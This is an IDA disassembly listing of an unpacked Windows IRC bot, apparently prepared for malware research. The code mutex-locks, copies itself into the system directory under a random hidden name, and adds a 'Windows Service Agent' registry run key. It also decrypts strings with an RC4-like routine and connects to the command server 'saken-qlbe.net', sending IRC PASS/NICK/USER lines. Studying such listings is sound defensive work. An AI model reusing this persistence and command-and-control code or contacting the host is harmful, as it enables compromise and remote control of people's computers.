;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 9DD8DB3DA025679AE16DD398AA9F7660
; File Name : u:\work\9dd8db3da025679ae16dd398aa9f7660_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0003AB53 ( 240467.)
; Section size in file : 0003AB53 ( 240467.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401000(char *Str)
sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+358p
; sub_4190F6+1Ep
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_43F050
xor esi, esi
mov ebx, offset aWindowsService ; "Windows Service Agent"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4E30AC ; RegCreateKeyExA
cmp [ebp+Str], esi
jz short loc_40104D
push [ebp+Str] ; Str
call _strlen
pop ecx
push eax
push [ebp+Str]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4E311C ; RegSetValueExA
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4E305C ; RegDeleteValueA
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4E30D4 ; RegCloseKey
add edi, 8
cmp edi, offset dword_43F068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_43C01C[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4010AB(char *Filename)
sub_4010AB proc near ; CODE XREF: sub_416F62+24Ap
var_10 = dword ptr -10h
Filename = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx ; Mode
call _malloc
mov [esp+10h+var_10], offset dword_43F068
push [esp+10h+Filename] ; Filename
mov esi, eax
call _fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx ; NewSize
push esi ; Memory
call _realloc
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi ; File
push 1 ; Count
lea eax, [esi+ebx-1]
push 1 ; ElementSize
push eax ; DstBuf
call sub_41E3E0
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi ; Memory
mov ebx, eax
call _free
push edi ; File
call _fclose
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 240h
push ebx
push esi
lea eax, [ebp-34h]
push edi
xor ebx, ebx
push eax
xor edi, edi
mov byte ptr [ebp-34h], 0Ah
mov byte ptr [ebp-33h], 0Eh
mov byte ptr [ebp-32h], 20h
mov byte ptr [ebp-31h], 48h
mov byte ptr [ebp-30h], 0Bh
mov byte ptr [ebp-2Fh], 2Bh
mov byte ptr [ebp-2Eh], 0Ch
mov byte ptr [ebp-2Dh], 23h
mov byte ptr [ebp-2Ch], 3Ah
mov byte ptr [ebp-2Bh], 27h
mov byte ptr [ebp-2Ah], 28h
mov byte ptr [ebp-29h], 5Eh
mov byte ptr [ebp-28h], 2Ah
mov byte ptr [ebp-27h], 1Eh
mov byte ptr [ebp-26h], 2Dh
mov byte ptr [ebp-25h], 5Ah
mov byte ptr [ebp-24h], 1Bh
mov byte ptr [ebp-23h], 0Fh
mov byte ptr [ebp-22h], 4Ch
mov byte ptr [ebp-21h], 44h
mov byte ptr [ebp-20h], 16h
mov byte ptr [ebp-1Fh], 4
mov byte ptr [ebp-1Eh], 57h
mov byte ptr [ebp-1Dh], 23h
mov byte ptr [ebp-1Ch], 11h
mov byte ptr [ebp-1Bh], 53h
mov byte ptr [ebp-1Ah], 38h
mov byte ptr [ebp-19h], 13h
mov byte ptr [ebp-18h], 0Dh
mov byte ptr [ebp-17h], 12h
mov byte ptr [ebp-16h], 25h
mov byte ptr [ebp-15h], 1Ch
mov byte ptr [ebp-14h], 30h
mov byte ptr [ebp-13h], 12h
mov byte ptr [ebp-12h], 50h
mov byte ptr [ebp-11h], 4Fh
mov byte ptr [ebp-10h], 39h
mov byte ptr [ebp-0Fh], 10h
mov byte ptr [ebp-0Eh], 42h
mov byte ptr [ebp-0Dh], 1Fh
mov byte ptr [ebp-0Ch], 37h
mov byte ptr [ebp-0Bh], 1Dh
mov byte ptr [ebp-0Ah], 41h
mov byte ptr [ebp-9], 55h
mov byte ptr [ebp-8], 2Ch
mov byte ptr [ebp-7], 41h
mov byte ptr [ebp-6], 2Ch
mov byte ptr [ebp-5], 58h
mov [ebp-4], bl
call _strlen
mov esi, 101h
mov [ebp-38h], eax
push esi
lea eax, [ebp-13Ch]
push ebx
push eax
call _memset
push esi
lea eax, [ebp-240h]
push ebx
push eax
call _memset
add esp, 1Ch
xor eax, eax
mov ecx, 100h
loc_401227: ; CODE XREF: .text:00401231j
mov [ebp+eax-13Ch], al
inc eax
cmp eax, ecx
jb short loc_401227
cmp [ebp+14h], ebx
jz short loc_401256
xor eax, eax
loc_40123A: ; CODE XREF: .text:00401252j
cmp edi, [ebp+14h]
jnz short loc_401241
xor edi, edi
loc_401241: ; CODE XREF: .text:0040123Dj
mov edx, [ebp+10h]
mov dl, [edi+edx]
inc edi
mov [ebp+eax-240h], dl
inc eax
cmp eax, ecx
jb short loc_40123A
jmp short loc_401270
; ---------------------------------------------------------------------------
loc_401256: ; CODE XREF: .text:00401236j
xor esi, esi
loc_401258: ; CODE XREF: .text:0040126Ej
cmp edi, [ebp-38h]
jnz short loc_40125F
xor edi, edi
loc_40125F: ; CODE XREF: .text:0040125Bj
mov al, [ebp+edi-34h]
inc edi
mov [ebp+esi-240h], al
inc esi
cmp esi, ecx
jb short loc_401258
loc_401270: ; CODE XREF: .text:00401254j
mov [ebp+14h], ebx
xor edi, edi
mov eax, 0FFh
loc_40127A: ; CODE XREF: .text:004012B4j
mov dl, [ebp+edi-13Ch]
mov ebx, [ebp+14h]
mov cl, [ebp+edi-240h]
lea esi, [ebp+edi-13Ch]
add ebx, edx
add ecx, ebx
and ecx, eax
inc edi
mov [ebp+14h], ecx
cmp edi, 100h
mov bl, [ebp+ecx-13Ch]
lea ecx, [ebp+ecx-13Ch]
mov [esi], bl
mov [ecx], dl
jb short loc_40127A
xor edi, edi
cmp [ebp+0Ch], edi
mov [ebp+14h], edi
mov [ebp+10h], edi
jbe short loc_401312
loc_4012C3: ; CODE XREF: .text:00401310j
inc edi
and edi, eax
mov dl, [ebp+edi-13Ch]
lea ecx, [ebp+edi-13Ch]
mov bl, dl
add ebx, [ebp+14h]
and ebx, eax
mov esi, ebx
mov bl, [ebp+esi-13Ch]
mov [ebp+14h], esi
mov [ecx], bl
lea esi, [ebp+esi-13Ch]
mov ebx, [ebp+10h]
mov [esi], dl
mov cl, [ecx]
mov esi, [ebp+8]
add ecx, edx
and ecx, eax
add esi, ebx
mov cl, [ebp+ecx-13Ch]
xor [esi], cl
inc ebx
cmp ebx, [ebp+0Ch]
mov [ebp+10h], ebx
jb short loc_4012C3
loc_401312: ; CODE XREF: .text:004012C1j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401317 proc near ; DATA XREF: WinMain(x,x,x,x)+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
Dst = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_456024
call dword_4E3190 ; closesocket
call sub_40B91F
call dword_4E3050 ; WSACleanup
call dword_4E3050 ; WSACleanup
mov ebx, ds:dword_4F534C
push 64h
call ebx ; Sleep
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_54]
pop esi
push esi ; Size
push edi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_455290
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call ds:dword_4F5344 ; GetModuleFileNameA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jz short loc_4013DC
push 64h
call ebx ; Sleep
push [ebp+Dst]
mov esi, ds:dword_4F533C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4013DC: ; CODE XREF: sub_401317+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_455288
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_4F5338 ; ExitProcess
pop edi
pop esi
pop ebx
loc_4013FF: ; DATA XREF: .data:0043F004o
jmp $+5
push 0FFFFh
push 539h
call sub_419551
pop ecx
mov dword_4E2E18, eax
pop ecx
retn
sub_401317 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
_WinMain@16 proc near ; CODE XREF: start+121p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
Filename = byte ptr -6F4h
Str = byte ptr -5F4h
Ext = byte ptr -4F0h
SubStr = byte ptr -3F0h
FullPath = byte ptr -2ECh
Dest = byte ptr -1E8h
var_E4 = dword ptr -0E4h
var_D8 = dword ptr -0D8h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
Source = byte ptr -0A0h
Dst = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
hInstance = dword ptr 8
hPrevInstance = dword ptr 0Ch
lpCmdLine = dword ptr 10h
nShowCmd = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_401317
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_4F537C
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4E2E1C, eax
call esi ; GetTickCount
push eax ; Seed
call _srand
pop ecx
call sub_409DD4
push 2
call dword_4E31A4 ; SetErrorMode
push 7530h
push offset aTrb ; "trb"
push ebx
push ebx
call ds:dword_4F5378 ; CreateMutexA
push eax
call ds:dword_4F5374 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40149B
push 1
call ds:dword_4F5338 ; ExitProcess
loc_40149B: ; CODE XREF: WinMain(x,x,x,x)+76j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_4E3068 ; WSAStartup
cmp eax, ebx
jnz loc_4019DE
cmp [ebp+var_884], 2
jnz loc_4019D8
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_4019D8
mov esi, 104h
lea eax, [ebp+SubStr]
push esi
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+FullPath]
push esi
push eax
push ebx
call ds:dword_4F5370 ; GetModuleHandleA
push eax
call ds:dword_4F5344 ; GetModuleFileNameA
lea eax, [ebp+Ext]
push eax ; Ext
lea eax, [ebp+Filename]
push eax ; Filename
push ebx ; Dir
lea eax, [ebp+FullPath]
push ebx ; Drive
push eax ; FullPath
call __splitpath
add esp, 14h
lea eax, [ebp+Ext]
push eax
lea eax, [ebp+Filename]
push eax
push offset aSS ; "%s%s"
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+FullPath]
push eax ; Str
call _strstr
add esp, 1Ch
test eax, eax
jnz loc_401710
cmp dword_43F08C, ebx
mov esi, offset Str ; "nlzhxmpyrjsyle.exe"
jz short loc_401596
push esi ; Str
xor edi, edi
call _strlen
sub eax, 4
pop ecx
jz short loc_401596
loc_401573: ; CODE XREF: WinMain(x,x,x,x)+179j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
push esi ; Str
add dl, 61h
mov byte ptr Str[edi], dl ; "nlzhxmpyrjsyle.exe"
inc edi
call _strlen
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401573
loc_401596: ; CODE XREF: WinMain(x,x,x,x)+148j
; WinMain(x,x,x,x)+156j
lea eax, [ebp+SubStr]
push esi
push eax
lea eax, [ebp+Dest]
push offset Format ; "%s\\%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
call ds:dword_4F536C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4015D6
lea eax, [ebp+Dest]
push 80h
push eax
call ds:dword_4F5368 ; SetFileAttributesA
loc_4015D6: ; CODE XREF: WinMain(x,x,x,x)+1A7j
mov esi, ds:dword_4F5364
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
xor edi, edi
push eax
loc_4015ED: ; CODE XREF: WinMain(x,x,x,x)+209j
call esi ; CopyFileA
test eax, eax
jnz short loc_401626
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_401626
cmp eax, 20h
jz short loc_401607
cmp eax, 5
jnz short loc_401626
loc_401607: ; CODE XREF: WinMain(x,x,x,x)+1E5j
push 1
pop edi
push 3A98h
call ds:dword_4F534C ; Sleep
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
push eax
jmp short loc_4015ED
; ---------------------------------------------------------------------------
loc_401626: ; CODE XREF: WinMain(x,x,x,x)+1D6j
; WinMain(x,x,x,x)+1E0j ...
lea eax, [ebp+Dest]
push eax
call sub_418FAF
pop ecx
lea eax, [ebp+Dest]
push 7
push eax
call ds:dword_4F5368 ; SetFileAttributesA
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_E4]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_E4], esi
mov [ebp+var_D8], offset dword_4E2F94
mov [ebp+var_B4], bx
push 1
pop esi
mov [ebp+var_B8], esi
call ds:dword_4F535C ; GetCurrentProcessId
push eax
push esi
push 100000h
call ds:dword_4F5358 ; OpenProcess
lea ecx, [ebp+FullPath]
push ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_988]
push offset aSDS ; "%s %d \"%s\""
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_E4]
push eax
lea eax, [ebp+SubStr]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+Dest]
push eax
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jz short loc_401710
push 0C8h
call ds:dword_4F534C ; Sleep
push [ebp+Dst]
mov esi, ds:dword_4F533C
call esi ; CloseHandle
push [ebp+var_1C]
call esi ; CloseHandle
call dword_4E3050 ; WSACleanup
push ebx
call ds:dword_4F5338 ; ExitProcess
loc_401710: ; CODE XREF: WinMain(x,x,x,x)+137j
; WinMain(x,x,x,x)+2CBj
cmp dword_4F351C, 2
jle short loc_40175C
mov eax, dword_4F3520
push dword ptr [eax+4] ; Str
call _atoi
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_4F5374 ; WaitForSingleObject
push esi
call ds:dword_4F533C ; CloseHandle
mov eax, dword_4F3520
cmp [eax+8], ebx
jz short loc_40175C
push 7D0h
call ds:dword_4F534C ; Sleep
mov eax, dword_4F3520
push dword ptr [eax+8]
call ds:dword_4F5354 ; DeleteFileA
loc_40175C: ; CODE XREF: WinMain(x,x,x,x)+2FCj
; WinMain(x,x,x,x)+326j
cmp dword_43F090, ebx
jz short loc_401779
cmp dword_4E31C8, ebx
jnz short loc_401779
lea eax, [ebp+Str]
push eax ; Str
call sub_401000
pop ecx
loc_401779: ; CODE XREF: WinMain(x,x,x,x)+347j
; WinMain(x,x,x,x)+34Fj
lea eax, [ebp+Source]
push offset asc_43FA60 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push ebx ; int
push eax ; Source
call sub_40B756
lea eax, [ebp+Source]
push eax
call sub_415C3F
push 0B80h ; Size
push ebx ; Val
push offset dword_455298 ; Dst
call _memset
add esp, 24h
lea eax, [ebp+Source]
push offset asc_43FA7C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 1 ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov esi, eax
mov edi, ds:dword_4F5350
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_41A8E1
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_45602C[esi], eax
jnz short loc_40181C
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_43FAA0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40181C: ; CODE XREF: WinMain(x,x,x,x)+3E4j
lea eax, [ebp+Source]
push eax
call sub_415C3F
push 2
call sub_40B99E
pop ecx
test eax, eax
pop ecx
jnz short loc_4018A1
lea eax, [ebp+Source]
push offset asc_43FAE0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 2 ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_410C7D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_45602C[esi], eax
jnz short loc_401894
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_43FB0C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_401894: ; CODE XREF: WinMain(x,x,x,x)+45Cj
lea eax, [ebp+Source]
push eax
call sub_415C3F
pop ecx
loc_4018A1: ; CODE XREF: WinMain(x,x,x,x)+418j
call _rand
push 7Fh ; Count
and eax, 3
push offset Source ; "saken-qlbe.net"
push offset Dest ; Dest
mov dword_4E2F8C, eax
call _strncpy
mov eax, dword_43F06C
push 3Fh ; Count
mov edi, offset byte_4E2EA4
push offset a0 ; "#0#"
push edi ; Dest
mov dword_4E2F74, eax
call _strncpy
push 3Fh ; Count
mov esi, offset byte_4E2EE4
push offset a7lome ; "7lome"
push esi ; Dest
call _strncpy
add esp, 24h
mov dword_4E2F78, ebx
loc_4018F6: ; CODE XREF: WinMain(x,x,x,x)+563j
; WinMain(x,x,x,x)+56Ej ...
mov [ebp+var_4], ebx
loc_4018F9: ; CODE XREF: WinMain(x,x,x,x)+517j
push offset dword_4E2E20
mov dword_4E2F88, ebx
call sub_4019E7
cmp eax, 2
mov [ebp+var_10], eax
jz loc_4019D3
cmp dword_4E2F88, ebx
jz short loc_401920
dec [ebp+var_4]
loc_401920: ; CODE XREF: WinMain(x,x,x,x)+500j
push 0BB8h
call ds:dword_4F534C ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4018F9
cmp [ebp+var_10], 2
jz loc_4019D3
cmp [ebp+var_C], ebx
jz short loc_401983
push 7Fh ; Count
push offset Source ; "saken-qlbe.net"
push offset Dest ; Dest
call _strncpy
mov eax, dword_43F06C
push 3Fh ; Count
push offset a0 ; "#0#"
push edi ; Dest
mov dword_4E2F74, eax
call _strncpy
push 3Fh ; Count
push offset a7lome ; "7lome"
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_4018F6
; ---------------------------------------------------------------------------
loc_401983: ; CODE XREF: WinMain(x,x,x,x)+526j
cmp byte_43F0E0, bl
jz loc_4018F6
push 7Fh ; Count
push offset byte_43F0E0 ; Source
push offset Dest ; Dest
call _strncpy
mov eax, dword_43F070
push 3Fh ; Count
push offset a1 ; "#1#"
push edi ; Dest
mov dword_4E2F74, eax
call _strncpy
push 3Fh ; Count
push offset a7lome_0 ; "7lome"
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_C], 1
jmp loc_4018F6
; ---------------------------------------------------------------------------
loc_4019D3: ; CODE XREF: WinMain(x,x,x,x)+4F4j
; WinMain(x,x,x,x)+51Dj
call sub_40B91F
loc_4019D8: ; CODE XREF: WinMain(x,x,x,x)+A1j
; WinMain(x,x,x,x)+B1j
call dword_4E3050 ; WSACleanup
loc_4019DE: ; CODE XREF: WinMain(x,x,x,x)+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
_WinMain@16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019E7 proc near ; CODE XREF: WinMain(x,x,x,x)+4E9p
; DATA XREF: sub_401CC7+66ABo
var_190 = dword ptr -190h
Args = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dest = byte ptr -2Ch
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401A0C: ; CODE XREF: sub_4019E7+E6j
; sub_4019E7+136j ...
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call dword_4E30F8 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+Args]
push eax
call sub_40AE55
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_401B39
push 1Ch ; Size
lea eax, [ebp+Dest]
push 0 ; Val
push eax ; Dst
call _memset
push 0 ; Str1
lea eax, [ebp+Dest]
push dword_43F0A0 ; int
push dword_43F09C ; int
push eax ; Dest
call sub_40B44F
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh ; Count
add eax, offset byte_456030
push edi ; Source
push eax ; Dest
call _strncpy
add esp, 28h
push 6
push 1
push 2
call dword_4E3178 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_456024[eax], esi
lea eax, [ebp+Dst]
push eax
push esi
call dword_4E30A0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401AD2
push esi
call dword_4E3190 ; closesocket
call sub_40AE7E
push 7D0h
loc_401AC7: ; CODE XREF: sub_4019E7+146j
call ds:dword_4F534C ; Sleep
jmp loc_401A0C
; ---------------------------------------------------------------------------
loc_401AD2: ; CODE XREF: sub_4019E7+CDj
lea eax, [ebp+Args]
push eax ; Args
push offset asc_43FB40 ; "-"
call sub_415CB3
push [ebp+var_38]
lea eax, [ebp+Args]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401B4F
add esp, 28h
mov edi, eax
push esi
call dword_4E3190 ; closesocket
test edi, edi
jz loc_401A0C
cmp edi, 1
jnz short loc_401B2F
push 0DBBA0h
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401B2F: ; CODE XREF: sub_4019E7+13Fj
cmp edi, 2
jz short loc_401B3D
jmp loc_401A0C
; ---------------------------------------------------------------------------
loc_401B39: ; CODE XREF: sub_4019E7+5Aj
xor eax, eax
jmp short loc_401B49
; ---------------------------------------------------------------------------
loc_401B3D: ; CODE XREF: sub_4019E7+14Bj
push [ebp+var_34]
call sub_40BA72
pop ecx
push 2
pop eax
loc_401B49: ; CODE XREF: sub_4019E7+154j
pop edi
pop esi
leave
retn 4
sub_4019E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B4F proc near ; CODE XREF: sub_4019E7+123p
Dst = byte ptr -1A90h
var_A90 = dword ptr -0A90h
var_2C0 = dword ptr -2C0h
var_140 = dword ptr -140h
Str = byte ptr -0A0h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call __alloca_probe
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401B6D: ; CODE XREF: sub_401B4F+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401B6D
cmp byte_43F0CC, bl
jz short loc_401B94
push offset byte_43F0CC ; Args
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0] ; int
call sub_409CEE
add esp, 0Ch
loc_401B94: ; CODE XREF: sub_401B4F+2Ej
push [ebp+Source]
lea eax, [ebp+Dest]
push ebx ; Str1
push ebx ; int
push 2 ; int
push eax ; Dest
call sub_40B44F
add esp, 10h
push eax
lea eax, [ebp+Str]
push [ebp+Source]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401BFE
push [ebp+arg_0]
call dword_4E3190 ; closesocket
push 1388h
call ds:dword_4F534C ; Sleep
loc_401BF7: ; CODE XREF: sub_401B4F+D9j
; sub_401B4F+153j
xor eax, eax
loc_401BF9: ; CODE XREF: sub_401B4F+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401BFE: ; CODE XREF: sub_401B4F+92j
; sub_401B4F+F8j ...
mov esi, 1000h
lea eax, [ebp+Dst]
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4E3110 ; recv
test eax, eax
jle short loc_401BF7
lea eax, [ebp+var_A90]
push eax ; int
lea eax, [ebp+Dst]
push eax ; Str
call sub_418C98
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401BFE
lea edi, [ebp+var_A90]
loc_401C4F: ; CODE XREF: sub_401B4F+165j
push 1
pop esi
loc_401C52: ; CODE XREF: sub_401B4F+144j
push [ebp+arg_1C] ; int
lea eax, [ebp+var_8]
push esi ; File
push eax ; int
lea eax, [ebp+var_140]
push eax ; int
lea eax, [ebp+var_2C0]
push eax ; int
push [ebp+arg_18] ; int
push [ebp+Source] ; Source
push [ebp+arg_8] ; int
push [ebp+arg_4] ; int
push [ebp+arg_0] ; int
push dword ptr [edi] ; Src
call sub_401CC7
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401C95
push 7D0h
